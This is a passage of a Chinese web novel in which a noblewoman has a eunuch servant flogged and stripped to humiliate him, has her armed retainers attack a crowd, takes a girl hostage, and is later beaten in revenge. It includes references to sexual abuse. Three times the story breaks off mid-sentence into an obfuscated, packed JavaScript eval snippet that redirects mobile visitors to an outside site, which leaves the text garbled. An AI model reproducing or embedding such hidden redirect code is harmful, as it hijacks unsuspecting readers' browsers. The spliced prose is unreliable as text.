人群熙攘的集市巷口,停泊着一辆雕金嵌玉的马车。车帘半掀,透出一抹倦怠的倩影。 沈枝意眉头微蹙,显然心情糟糕透了。 早晨送别爹爹后,她迫不及待地盘算,如何将阿舟哥哥从那对乡巴佬的身边抢走。为此她特意命令侍女换上华丽衣裙,假扮成她的模样,躲在闺房内练字。而她自己则披上斗篷,悄然离开驿站,直奔阿舟下榻的客栈。 不巧的是,阿舟不在。 迎接她的,是阿喜冷若冰霜的脸,语气充满了不耐烦:“阿舟他上集市,给阿爹买旱烟叶子去了,我不知他什么时候回来,要找自己去集市找。” 沈枝意咬了咬牙。 前阵子在黄河渡口,她竭尽全力替阿喜挡下无妄之灾。哪知这个小贱蹄子,非但对她毫无感激之情,反倒与李老爹一唱一和,千方百计阻拦她见阿舟。 实实在在的上演了一出,“东郭先生与狼”的故事。 哼,早晚将这群不知好歹的乡巴佬,全部丢进江水里喂鱼,省得碍她的眼。 沈枝意腹诽不断,面上扬起端庄的笑意:“多谢告知。” 可她的随从几乎将那不足百丈长的集市翻了个底朝天,仍找不见阿舟的踪影。 沈枝意恨恨道:“好个小贱蹄子,竟敢糊弄本小姐。待我回去,定要抽她的筋,扒她的皮,叫她不得好死!” 随从恭敬道:“小姐,午膳已备好。” 可她此刻根本没心情进食。 忽然,她目光一顿,人群中捕捉到一道熟悉的身影。 那人身形修长,面容白皙清秀,眉眼间隐约透着些许哀愁。他衣着得体,看着干干净净,并不像是寻常的杂役。 印象里,阿舟哥哥身边似乎有这么一个人,可她也无法确定——沈大小姐何曾将一个低等奴仆放在眼里过? 偏偏,那低等奴仆一眼就认出了她。 今日出门忘记翻黄历,文竹心中暗呼倒霉。他迅速低下头,装作随意的样子,深一脚浅一脚挪向巷口,试图避开她的视线。 他不躲还好,沈枝意悠然开口:“站住。” 声音不高,仿佛一道无形的束缚符咒,戛然定住文竹的脚步。他不得不硬着头皮转过身,小跑着来到马车前。 沈枝意上下打量他,“你叫什么名字?” 文竹俯身作揖:“小的名唤文竹,拜见沈小姐。” 沈枝意:“可是阿舟哥哥的小厮?” 文竹抬起头,眼神茫然无辜,“小的未曾见过阿舟少爷。” 既不承认是阿舟的小厮,也不肯告知阿舟的踪迹。 言语闪躲,分明是一只狡猾的狐狸。 沈枝意盯着他的眼睛看了片刻,忽然一抬手,身边随从立刻上前,强行按住文竹的手臂。 文竹奋力挣扎,可终究不过一文弱青年,哪里挣得过练家子。好汉不吃眼前亏,文竹连连喊冤:“大小姐饶命,小的想起来了。小的看见,阿舟少爷和邵大人一同外出了。” 他约摸着,沈枝意就算知道阿舟的去向,也没胆量追随过去——毕竟擅闯京营者,乃是死罪。 沈枝意:“他们去哪里了?” 文竹:“小的不知。” 他知道,但不说。 这只狐狸的供词,与小贱蹄子口述不一致。要么有一个撒谎,要么两个都是睁眼说瞎话。 “嘴倒是硬。”她一只手臂横放在窗台,另一只手指点了点鬓发,轻描淡写道:“本小姐有的是法子让你开口。” 言毕,吩咐左右:“撕开他的嘴。” 一名孔武有力的随从趸步上前,甩开手臂,啪!啪!啪!清脆的耳光声在街巷炸开。 文竹只觉天旋地转,耳边嗡嗡作响,仿佛有无数只苍蝇在脑中乱飞。才挨了三两下,面颊高高肿起,火辣辣的疼。 他生来就是孤儿,幼时被养父母拳打脚踢;五岁卖入人伢子手里,又是鞭笞棍棒侍候;十岁被净身送入宫里做小太监,成了管事太监消遣取乐的靶子,挨了七八十顿毒打后,又因“天资愚钝”的理由,被一脚踢出宫门。之后几经辗转三四户富贵人家,最终才进了苏府的大门,可这并不是终点—— 苏府里,除了苏绾以外,没人把他当人看。 尤其是苏家嫡子苏尽欢,年纪轻轻丧尽天良。得知他已净过身后,动辄猥亵折辱,甚至逼迫他干“毒龙钻”的勾当。他不愿意就要挨打,拳脚加棍棒,双管齐下,常常打得他满身青紫,浑身上下没有一块好皮肉。 与那些不堪往事相比,几个耳光,根本不值一提。 沈枝意见打得差不多了,抬手示意随从停下。她身子向外探了探,好让自己看清楚仆役的惨相。 “现在想起来了?” 不知是不是耳光的原因,苍白的脸颊浮着淡淡的红痕,衬得眉目越发秀致了些。文竹舔了舔嘴角的血迹,讥讽一笑:“小的又不是阿舟少爷肚里的蛔虫,怎知他的行踪?沈小姐若想找人,该自己去想办法,何必拿我一个外人出气?” “外人?”沈枝意眯起眼,语气带着探究的意味,“你不是阿舟哥哥的随从?” 文竹啐了一口血沫,“小的一介奴籍,文武不通,哪里配给时将军当小厮?” 他缓缓抬起头,目光骄傲,声音一字一顿:“我是京中苏郎中府二小姐,苏绾的贴身小厮。” 又睥睨向沈枝意,“是你一辈子都无法望其项背的,真正的千金大小姐!” “什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246376|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?!”沈枝意惊得瞪大眼。 竟然是苏绾那个娼妇。 在她毫不知情的情况下,苏绾的爪牙已悄然渗入她身边。难怪,难怪阿舟哥哥不肯搭理她,处处躲着她,原来是被小娼妇蒙蔽哄骗。 利剑指向她的喉咙,是可忍,孰不可忍! 沈枝意一甩袖,厉声喝道:“拿大棒,给我狠狠打!” 随着一声令下,随从迅速搬来一张条凳,将文竹摁在凳上。啪得一声巨响,半寸厚的木板倏然砸下,重重落在文竹的后背。 这一记,力道比方才的耳光狠厉了太多。 文竹的身子一震,冷汗顺着额角滚落。 和苏家嫡女苏沅芷比起来,沈枝意不过是小巫见大巫。 苏沅芷设下层层陷阱,要将苏绾置于死地。那次,苏沅芷污蔑苏绾偷盗家中财物,致家主大怒,将苏绾五花大绑,扬言要卖入行院。 他跪在家主面前拼命磕头,砰砰作响,额首血流如注,可家主无动于衷。他疯了般跑上街头,拉着路人苦苦哀求。行人或怜悯,或冷漠,或仓皇避让,没人愿意插手苏府的家事。 就在他绝望之际,一顶乌纱轿停在了他面前,轿中人撩起帘子,淡淡扫了他一眼。 “是谁家的奴才,哭得这样凄惨?”温如初的声音清冷如水。 文竹愣了一下,旋即重重叩首:“请救救我家小姐。” 那是三年前的事了。 彼时,他的主人苏绾,是尊泥菩萨,心有余而力不足。 如今,一切都不同了。 苏绾像是脱胎换骨一般,锋芒渐露,而他这个下贱奴才,跟着鸡犬升天。 他骟了陆展元,惹出天大的麻烦,本以为自己死定了,可苏绾却连一句责怪的话都没有,反而给予他最大的信任和支持。 他终于能活得像个人了。 他的肩膀也能撑起一片天。 为了维护苏绾,他纵死也无憾。 文竹咬紧牙关,一声不吭,反倒让沈枝意有些刮目相看。 她烦躁地咬了咬唇,啧了一声,娥眉蹙得更深。连个下贱的奴才都治不服帖,传出去,她沈大小姐的威严何在? 杀人者,当诛心。 沈枝意再一次叫停随从,勾了勾手指,吩咐道:“扒了他的裤子。” 随从们彼此对视一眼,略有迟疑,但终究还是依令行事。 衣物被剥落的一瞬,空气仿佛凝滞了。四周寂静无声,落针可闻。 所有人,包括沈枝意在内,皆是一怔。 文竹的秘密,无可遁形。 沈枝意怔愣片刻,随即扬起帕子掩唇轻笑:“真是有趣。怪不得你不肯承认是谁家的小厮,原来你……” 她意味深长地拖长尾音:“是个不男不女的东西。” “噗嗤——” 随从们接连嘲笑出声,围观的百姓也渐渐聚拢,目光或鄙夷,或戏谑,或惊诧。人们交头接耳,指指点点,窃笑不已。 世俗无法容纳像他这样的人。 文竹的尊严,是被丢进尘埃里的烂布,任人踩踏。他脸色惨白,羞愤欲绝,眸底怒火翻涌,恨不得立刻咬断舌头自尽。 可他不能草草了结自己。 他死了,谁来报答时将军?那位以血肉之躯替他承受诏狱刑罚,赐予他新生的恩人,他还未报答。 他死了,谁来报答二小姐?她给予他庇护与信任,纵容他的执拗,替他撑起一片天,他还未报答。 还有那个深夜递给他温热饼子的人,那个风雨里同舟共济的人,那个悬崖边缘伸手拽他一把的人,怎么办? 晴雷是他生命里的光。 文竹深深吸了口气,身子骨站得笔直,冷声道:“我是男人。眼瞎的话,早点去看大夫。” “脊梁骨还挺硬。” 沈枝意勾了勾唇:“吊到梧桐树上,打。” 停了一息,她又补了一句:“打到他求饶为止。” 到这一步,她已经不在乎阿舟的去向了。她非要将这只狐狸踩在脚底下,让他服服帖帖,俯首称臣。 “遵命。”刽子手扬起皮鞭。 文竹瞥了一眼那根皮鞭,又粗又长,也不知何时沾染了辣椒水。一鞭子抽到身体肌肤,立马皮开肉绽。 他阖上眼睛。 对于文竹来说,这一日,实在太过漫长了些。 121. 筹码 客栈二楼。 阿喜捏着半块冷掉的酥油饼,指腹无意识地搓着饼皮上的芝麻粒,掉落的饼屑如雪片般,簌簌飘向粗木桌案。 脑子里萦绕着沈枝意那双明眸,如幽影般挥之不去。 对方毕竟是位官家大小姐,一朝回过味来,发现被她这个贫贱卑微渔家女耍得团团转,绝不会善罢甘休。 况且那位大小姐身患重疾,据说活不过霜降。倘若因而受了刺激,导致病情加重,那她岂不是罪加一等? 恐怕会牵连阿舟。 满脑子遐想阻塞了阿喜的胃口,就连平时最爱的酥油香,此刻闻起来,也充满了心虚的苦涩味。 李老爹蹲踞门口,手里执着乌木烟杆,烟锅在门槛上敲得啪啪响。 “瞧瞧那位沈丫头,脸蛋红扑扑,跟刚渍的糖山楂似的。”他漫不经心地说道,“官家小姐装病的把戏,我见得多了。阿爹敢打包票,这里面根本没什么重病缠身,全都是那帮官老爷们胡扯,糊弄穷人的伎俩。” 一对浑浊眼珠斜睨着阿喜,“倒是你,抖得跟筛糠似的,莫不是被那身锦衣玉袍吓破了胆?” “谁说我怕她!”阿喜一激灵,将半块酥油饼往桌上一拍,芝麻粒弹得老高,迸溅上翘起的鼻尖,“我早就看穿了她是装的。送来的衣裙、点心也都没安好心,说不定想要毒死我呢。” 她胡乱抹了把脸,声音突然发涩:“我有点担心阿舟,会不会被人家哄骗了去给卖了,那个姓邵的忒不靠谱。” 李老爹“吧嗒”抽了口旱烟,缓缓吐出一团烟雾,“阿舟的事,由着他自己决定吧,咱们替他做不了主。” “不如趁着阿舟不在,找那位沈小姐推心置腹谈一谈。打开天窗说亮话,省得她总疑神疑鬼,在背后使绊子。” 阿喜随手把饼渣扫拢,拈起一小撮送进嘴里,含糊道:“谈什么?我跟有钱人向来无话可说。” 李老爹摇了摇头,“再不主动点,黄花菜都凉了。”他眼神意味深长,“到时候,别说一纸婚书,就是阿舟把命抵押了,也未必斗得过他们。” 阿爹说得没错。当初答应婚约,不过是为着沈枝意的病情考虑。她若真有病,那就开开心心陪她走完最后一程;她若是装出来的,那么所有人不必再配合她演戏,趁早散伙才是。 沉默半晌,阿喜闷闷道:“去就去。” 二人商量一番,决定直接去集市找沈枝意——毕竟阿喜之前骗她说阿舟去了集市,若是这会儿又跑去驿站,岂不白跑一趟。 集市口,梧桐树下。 文竹单薄的身躯悬在半空,像片残破的纸鸢,随风摇摇晃晃。衣衫被鞭子抽成碎布条,裸露的肌肤上布满狰狞的血痕。鲜血顺着四肢滴落在脚下黄土,又被刽子手踏成斑驳的暗色。 刽子手甩了甩发麻的手臂,鞭稍沾着的碎肉屑甩在车辕上,发出一声轻响。他收起鞭稍,对着车帘躬身道:“回小姐,一百零八鞭已毕,没有回应。” “再打。”沈枝意揉搓着眉心。 她原以为不出二十下,低贱的奴才就会痛哭求饶。谁料这只狐狸倔得离谱,被打得皮开肉绽,死也不肯松口。 她的耐心已被磨到了极限——不只是因为文竹的顽固,还因为周围的议论声越来越响亮,越来越刺耳。 人群末端,阿喜一眼瞥见歪脖树下吊着的文竹,她瞳孔一缩,脑袋轰然炸裂。好好的文竹,怎被糟蹋成这般凄惨模样? 她呆呆地立了半日,失声喊道:“文竹!” 然而文竹毫无反应,他双眼紧闭,气息微弱,像一支风中残烛,随时都会熄灭。 顾不得一切,阿喜低头往人堆里钻。可身体还没挤进去半步,后背衣襟却被一只手臂扯住。 “莫去!”李老爹低声警告她:“不要命了?” “他会死的!”阿喜眼中噙着泪。 她虽与文竹交情不深,但她心里清楚,文竹与她一样,同是天涯苦命人。她不能眼睁睁看着,苦命人受尽屈辱折磨。 “听阿爹的话。”李老爹焦急道:“现在冲过去,只会被他们一并收拾。你想让文竹白白挨这一顿,连个救他的人都没有?” “可他撑不了多久。”阿喜嘴角哽咽。 李老爹扫视四周,低声道:“待在这里别乱动,让阿爹来想办法。” 他佝偻着身子,假装无意地往后退,悄然隐没人群。 最初,百姓出于好奇,远远围成一圈,彼此交头接耳,议论纷纷。 “听说是个奴才,对主子不敬,才挨了鞭子。” “阉人嘛,活该!” “像这种没骨头的,活着也是祸害。” 年轻气盛的男子嗤笑着,眼底满是鄙夷,有人不屑地啐了一口。 站在外围的长者们,望着那身翻卷的血肉,脸上挂着的不忍。 “唉,”一名老妪轻叹,“他还是个孩子,跟我儿子差不多大。” “这般手段折磨人,也太狠毒了。” “我老头子活了大半辈子,没见过这么欺负人的。” 一时间,人们的看法发生了分歧:年轻人认为罪有应得,年长者则心生恻隐。 随着鞭子一次次落下,文竹不曾发出半点哀嚎,也不曾痛哭求饶。只一味地隐忍,嘴唇都咬烂了。 有人开始动摇了。 “这人真硬气!挨了一百多鞭,愣是一声不吭。” “若真做了亏心事,哪能忍到这地步还不松口?” “啧,怕是要被活活打死。” 渐渐的,最初的冷眼旁观,被震惊和不安取代。有人不忍直视,侧过头去;有人龇牙咧嘴摸了摸后颈,仿佛那鞭子落在自己身上。 一个声音道:“喂,差不多就行了吧?再打下去,人就没了!” 此话一出,四周的议论声陡然高涨,年轻人与年长者的意见不再对立,而是合流汇成同一个声音—— “住手!” 声音如高涌的浪潮,振聋发聩,刽子手不得不停下手中的皮鞭。 车厢内,沈枝意正用帕子擦拭指尖,听着外面的骚动,不觉蹙了蹙眉。 场面局势已然失控,当前最好之际,应立刻打道回府。可她绝不能容忍,自己被个低贱的奴才逼到骑虎难下的地步。 “继续。”她命令道。 刽子手犹豫了一瞬,高高扬起鞭子。 李老爹躲在人群暗处,悄悄注视着现场的反应。才刚他推波助澜,掌控舆论导向,成功点燃人们心中的怒火。 然而他低估了沈枝意的能力。她可不是只会吟诗作对的闺阁小姐。 须得更加煽情的手段鼓动人心。 眼见鞭子就要落下,李老爹站起身,高声喝道:“我朝律例明载,禁止动用私刑。” 先帝定下的严酷律法,任谁都不敢随意僭越。“私刑”二字如雷贯耳,骤然揭开了人民暴动的序幕。 “天子脚下,竟敢草菅人命!” “别看他是奴才,可这条命也是爹娘给的,怎能随意剥夺?” 人群骚动起来。 有人推搡刽子手,有人怒骂沈枝意,越来越多的人站了出来,指责这场不公的私刑泛滥。 “人命不分贵贱。” “欺负没反抗之力的老百姓,算什么能耐?” 李老爹激情愤慨鼓吹,有人挥舞拳头,有人高举扁担、木棍,甚至有人抄起石块,奋力朝马车砸去。 石块砸在车厢上,发出沉闷的响声,木板出现凹痕,有几块碎裂。马匹受惊嘶鸣,车夫勒紧缰绳,才勉强稳住。 摇晃的车厢,令沈枝意面色微变。平日里畏畏缩缩的贱民,竟敢举旗反抗,大大出乎了她的意料。 可沈枝意并非寻常闺阁女子,自幼年起跟随父亲巡察疆土,也曾耳濡目染了那些对付暴民的铁血手段。 玉手掀开帘子,喝道:“武力镇压住。” 随从们抽出腰间的长刀,鞭子甩出寒光。这群沈家豢养的武人,皆是身经百战的正规兵士,他们毫不留情地挥舞刀刃,鞭子狠狠抽向前排人群。 “啊——” 有人捂着脸颊倒下,血流不止;有人被刀刃击中后背,摔倒在地。愤怒的百姓迟疑了,他们虽有勇气与胆识,但终究只是普通人,在绝对武力面前,几乎毫无胜算。 “别怕他们!咱们人多势众,拼了!” “不能让他们继续欺压我们!” 在李老爹的怂恿下,几个年轻人抡起木棍,动作笨拙而愚钝。随从们轻松躲开袭击,反手便是一刀,砍得百姓惨叫连连,倒地挣扎。 不足一炷香的工夫,原本气势汹汹的暴动人群,被强硬手段逼得节节后退。那些起初还在叫骂的人,面对敌人的刀剑横扫,也都生出了惧意。 “跑啊!” “我们打不过他们!” 恐惧战胜了愤怒,人群四散而逃。空中弥漫着血腥味,地上横七竖八躺满了伤者。能跑的扶着不能动的,一瘸一拐仓皇地逃离。 局势瞬间逆转。 沈枝意冷眼旁观,不禁生出一丝感慨:蚍蜉撼大树,可笑不自量。 突然,游离的目光锁定了一个身影。她隐约记得,方才那个身影的声音最为响亮,也最能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276572|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煽动人心。 她发现了幕后操纵者。 “那个老头,抓过来。”玉手指向人群。 李老爹暗呼不妙,转身拔腿就跑,顺势撞翻了一辆小贩的推车,滚落的水果洒了一地,有效地阻拦了追兵的脚步。 趁着这片混乱,李老爹灵活地穿梭人群,企图往巷子深处钻,奈何天不遂人愿,他脚下一滑,正好踩中一块果皮,整个人身体后仰,狼狈地摔在地上。 随从一拥而上,将他按倒擒住。 沈枝意居高临下地睨着他,“我当是谁在挑衅作乱,原来是阿舟的老丈人。” 李老爹怒道:“我们来集市买点东西,何罪之有?” 沈枝意嗤笑一声:“你犯没犯错,本小姐说了算。” 她眸光一寒,吩咐道:“先打断一条腿,让他安分点。” 随从抡起棍棒,砸向李老爹的小腿。 “砰!砰!”两声闷响之下,骨骼随之震颤。剧痛让李老爹脸色瞬间惨白,嘴唇颤抖,一个字也说不出来,不断地粗喘着。 “别打了!”阿喜不知从何处钻出来,扑倒在李老爹身旁。 李老爹急道:“你出来做什么?我不是叫你等着吗?” 阿喜哽咽道:“我再不出来,阿爹就没命了。” “唉——”李老爹叹道。 沈枝意微微挑眉,“运气不错,一箭双雕。” 她垂眸睇着阿喜,漫不经心地道:“我还没找你,你倒自己送上门来了。说吧,阿舟去了哪里?” 阿喜咬着嘴唇:“阿舟与邵大人一同离开了,我不知道他们去了哪里。” 这话与文竹所言无异,看来两人确实没有撒谎。 阿舟大约是去了京郊大营,除此之外,她想不出其他的地方,既安全又隐蔽,还不能被外人知晓。 京郊大营。 看来她应追随过去要人了。 这对渔民乞丐暂时动不得,可文竹就不同了——一个身份低贱的奴才,杀了便杀了,谁会为他出头?且不如扔在这里,倘若日后无论谁找上门算账,她都一句“不是我做的”来应付。 沈枝意抬手一挥:“将老叫花子跟阉奴绑在一起。” 随从听令,一根麻绳吊着两个人,枝丫两侧晃晃悠悠,好像黑白无常。 至于阿喜,她打算将其带在身边——权且当做一片筹码。 随从将阿喜押上马车,马鞭一甩,车轮碾过碎石,驶离了这片是非之地。 驿站外。 沈枝意趸下马车,整理了一下衣裙,镇定地步入驿站。刚踏进大门,迎面撞上了一道熟悉的身影。 “沈小姐。” 晴雷俯身作揖,抬起头,冷厉目光落在她身上。 沈枝意微微一怔,随即扬起笑意:“晴雷哥哥,你怎么来了?找爹爹吗?可惜他一早出门了。” “沈小姐怎么不在房中?”晴雷目光微动,似是随意地问道。 沈枝意笑得自然:“爹爹不在,没人管我,我自是要出去透透气。” 晴雷沉吟片刻,目光落在她袖口的一点暗色血迹上,微不可察地皱了皱眉:“沈小姐去何处散心透气?” 沈枝意心中一紧,面上却不露分毫:“去集市买些小玩意儿,顺便看看热闹。” “哦?”晴雷语气意味深长,“可刚刚驿站这边,有百姓来报,说有人在集市作乱,差点闹出人命。你可曾看见?” “没有。”沈枝意摇头叹道:“世道不太平,难免有人仗势欺压。我一个姑娘家,见到腌臜事自会躲得远远的,晴雷哥哥不必担心。” 晴雷静静看着她,像是在试图剖开她的伪装。片刻后,他俯身拜道:“既然沈老将军不在,晴雷告退。” 言毕,转身走出驿站,他急着赶去集市察看。所有一切都不对劲,他的心里感到隐隐不安,但愿文竹没有出事。 目送背影离开,沈枝意脸上的笑意一点点褪去。 她快步走进闺房,从梳妆台取出一块雕刻精美的兵符,攥在手中——这是沈恪留给她的护身符。 晴雷虽未当面揭穿她,可她能感觉到对方有所怀疑。再留在此地,恐怕会生变。 “走。”她低声吩咐随从,“立刻启程。” 马车驶出驿站,朝着远方疾驰而去。 车厢内,阿喜手脚被绑着,嘴巴被堵着,眼里满是惶恐。 沈枝意看了她一眼,“你想知道我带你去哪里?” 阿喜瞪着着她,一脸茫然。 沈枝意淡淡道:“去接阿舟。” 阿喜就是她谈判的筹码。 122. 收拾 月朗星稀,火把映天。 阿喜的叙诉如幽怨羌笛,回荡在夜色之中,令在场众人无不动容变色。 邵云礼质问:“阿喜所言,是否属实?” 沈枝意伸手轻拂鬓发,语气淡然:“无可奉告。” 她原本打算先扣住阿喜,以此为筹码先引阿舟入局。再巧言令色加以蒙骗,声称阿喜心怀不轨,意图陷害她,她不得已才出此下策。当下局势已然失控,谎言难以自圆,也再无遮掩的必要了。 邵云礼脸色骤变:“若不讲清,你休想走出大营。” 沈枝意指尖一顿:“怎么?莫非邵大人打算胁迫本小姐?” 她唇角微勾,语气桀骜:“我偏不听,你们又能奈我何?” 紧接着斗篷一甩,作势要走,“谁敢拦我?” 邵云礼眼眸一沉,心底踌躇不决。 抓,或不抓,不过是一句话的事,可后果却难以估量。一方面,沈枝意此行意在带走阿舟,既已无望,算是有所退步妥协;另一方面,若将她扣押在营,沈恪那边恐难交代。可沈枝意胆大妄为,屡屡犯禁,又着实令人恨得牙痒痒。 太难抉择了。 气氛僵持不下之际,一道清冷的声音幽幽传来—— “我敢。” 沈枝意倏然抬眸,只见人群分开两边,一道身影踱步上前。 火光映照下,苏绾面色泠然,气质清贵而凌厉,宛如神女降世。 “动了我的人,还有胆量站在我面前,我岂能轻易放过你?” “今日,你必须给我苏绾一个交代。” “就凭你?”沈枝意嗤笑出声:“不过五品郎中府的庶女,也敢在本小姐面前指手画脚。” 她高高抬起下颌,目光鄙夷如睥睨蝼蚁:“这座军营里的人,不过是些蝇营狗苟之辈,都不配给我爹爹提靴。” “你拿什么来跟我斗?” “鄙人倒想试一试。”秦欢缓缓站出,声音沉稳有力。 “再加我一个。”萧染紧跟其后,眼底的战意不加掩饰,“萧某向来不喜欢仗势欺人。” 沈枝意怔了怔,心头一阵错愕:这都是什么人?怎的一个个都不惧父亲威名? 她下意识地打量秦欢,只见那人一身素净道袍,眉目温和又不失威仪,显然是名医者。但这张脸,她却毫无印象——定不是权贵子弟。 目光再一转,落在萧染身上,沈枝意的神情顿时变了。 这人,怎么越看越眼熟? 心念电转,脑中倏然闪过一抹记忆——那日历经画舫风波,半路杀出了水贼劫匪,害她差点丧命于湖底,多亏了时枫将她救出生天。 他他他……他不是那强盗头子吗? 怎么回事?! 一股不详的预感爬上沈枝意心头。 邵云礼嘴角一挑,忽地双手一摊,退后半步,“你们谈吧,邵某不掺和。”旋即眉头一挑,声音冷下几分:“但有一点,谁都别想在我的地盘上撒野。” 指挥使已发话,在场兵士严阵以待。沈恪的水兵欲有所动作,另一边萧染的杂头兵已然逼近。两方势力联合起来,共同对抗外敌。 二月底的夜晚,乍暖还寒,月光清冷,火光浮动。营帐外一片肃穆,偶尔风过,拂动旌旗与衣袂,带来几分寒意,却也吹不散场中即将点燃的怒火。 沈枝意还未从震惊中回过神,总觉得事情远比她想象的复杂得多。她急切地想要挣脱这股不安,为自己辩解道:“我没什么好交代的!一个阉奴胆敢以下犯上,我何错之有?你们仗着人多就想欺负我。我要告诉爹爹,将你们统统拿下治罪。” 很可惜,她自始至终都不觉得自己有错。在她眼中,文竹不过是个奴才罢了,死了也就死了,就算闹到圣上跟前,她也能据理力争。 苏绾一边抬手活动筋骨,一边淡淡开口:“看来,你还是没明白。” “人命不分贵贱。” 月光交映火光,映得她那双星眸,燃着怒火,淬着寒冰,“道理很简单,你动了我的人,我要你偿命。” 苏绾斜睨阿喜一眼,“姑娘,来吧。有怨报怨,有仇报仇。” 阿喜愣了下,随即眼眸骤沉。她看着沈枝意那张高傲的脸,想到文竹的伤,想到李老爹的腿,一股说不清道不明的情绪轰然涌上心头。 “好!”她挽起袖子,摩拳擦掌。 沈枝意没料到她们当真会动手,惊慌失措道:“你们疯了吗?竟敢对本小姐不敬!我要让爹爹砍你们的脑袋。” 对面的两人早已失去耐心。 阿喜一拳挥出,重重搥向肩膀,打得她一个趔趄,身形踉跄。 苏绾抬手一个劈掌敲击手腕,敲得她龇牙咧嘴,仪态尽失。 “你们这些贱人!”沈枝意双手乱抓,想要撕扯阿喜,反被阿喜按住肩头,整个人被拎起一摔,砰然摔向草丛里。 地面尚带着冬末的寒意,冰冷刺骨,碎石硌得皮肉生疼。沈枝意一声惨叫,刚想挣扎爬起,苏绾上前一膝压下,将她按进泥土。 “你以为天真就能横着走?”苏绾冷声道,“我们也不是吃素的。” 阿喜抄起地上一根枯树枝,朝着沈枝意屁股呼啦啦就是几下,甩得沙尘四起。她一边抽,一边骂:“打你这个蛇蝎心肠的东西,打你欺负老实人,打你狗仗人势。” 沈枝意哭喊着,身上泥泞斑斑,发髻早已歪斜,锦衣缎服沾满灰土,不复方才的贵气模样,只余狼狈挣扎。 “你们这些疯子!我要杀了你们!杀死,全部都杀死。” 苏绾抽出帕子塞进她嘴里,“吵死了,闭上你的乌鸦嘴。” 两人虽说都不懂拳脚功夫,也没个章法,但一身怒火中烧,使得拳拳到肉。 尤其阿喜,自小撑篙打渔,臂擘力气惊人,几下揍得沈枝意鼻青脸肿,哭爹喊娘。 三名女子在地上拳脚交加,扯头发、按肩膀、抡树枝,战况之惨烈,简直堪比街头泼皮斗殴。 冷风吹动营外火把,浮影晃动宛如鬼魅。 士兵们躲在远处看热闹,不知谁咕哝了一句:“这仨女人,可真彪悍。” 另一个点头道:“一个比一个凶蛮。” “沈大小姐怕是要阴沟里翻船了。” “活该。” 另一边,男人们目睹这场惊天动地的“女子混战”,惊得目瞪口呆,彼此面面相觑,一时间竟无人敢出声劝阻。 邵云礼站在最前头,双手抱胸,喃喃自语:“果然。女人不好惹。”他悄悄后退一步,生怕自己被误伤。 秦欢端着医者的矜持,目光沉静如水,心里第一次认真思考:医书里得加一章,名为“女子斗殴后的紧急处理”。 萧染倒是一脸兴致盎然,双眼放光,差点鼓起掌来。他凑到阿舟身边,拍着他的肩膀,调侃道:“你媳妇儿挺能打啊。” 阿舟被他按得肩膀一斜,小声回道:“阿喜她……从小干活,力气大。”他本想再多解释一句,可他现在目光紧紧盯着苏绾,无暇顾及其他人感受。 站在外头的这群男人,无一不在心里暗自庆幸——幸好没惹怒姑娘们,否则现在被骑着后背挨揍的,就是他们自己。 月亮被浮云遮去半边,失了清辉,只留下一轮惨白,像极了沈枝意的脸色。披散的鬓发沾着泥水,衣裳褶皱破败,精致妆容被汗水和泪水冲得斑驳,早无半点端庄的模样。 刚开始还挣扎,尖叫着要他们“住手”“放肆”,然而拳脚如雨,一点点摧毁她的傲骨,撕裂她的尊严。她试图用身份威胁、用尖叫反抗,换来的是更多的嘲弄与冷眼。 到最后,她不再动了。 她像一只骄傲的孔雀,被人硬生生扯下了羽毛,丢进尘泥。 高高在上的沈家千金,只剩低低的啜泣,在寂静夜色中显得格外凄凉。她的眼神失了焦,泪水滑落脸颊,顺着腮边道道乌青淤痕,混着泥与血,滑入衣领。 她从来没想过,有一天被人当面殴打羞辱——在泥地里打滚,像个泼妇一样被人拽着头发教训 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287332|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈枝意第一次感受到,原来从高处摔下来的滋味,不只是疼,而是冷,是四面八方的羞辱与漠视,将自己慢慢吞没。 她败给了自己的任性。 “行刑”的一方终于停手,姑娘们嘴里喘着粗气,额前汗珠滚落。 阿喜拍了拍手,瞥了一眼蜷成一团的女人,恨道:“不打你几下,你永远不会明白,什么叫做人。” 苏绾整理被扯乱的衣袖,淡淡道:“记住,世上不是所有人都怕你沈家的名头。” 两人相视一笑,彼此都有些惺惺相惜。 阿喜望着眼前的女子,简直惊为天人,竟一时忘了言语。 苏绾静静站着,窈窕身影融入夜色。月光悄然洒下,柔柔落在发顶与肩头,像是为她披上了一层银纱。 她身穿粗布短衫,衣摆微扬,乌发挽成男式高髻,仅簪一枚素木,恰到好处地衬出颈项的纤细与优雅。 那双眸子明净如湖,泛着浅浅星辉,有一种叫人移不开眼的静美——像雪山之巅的一株青莲,孤傲、澄澈、不可亵玩。 她轻轻一站,胜却世间万千美好。 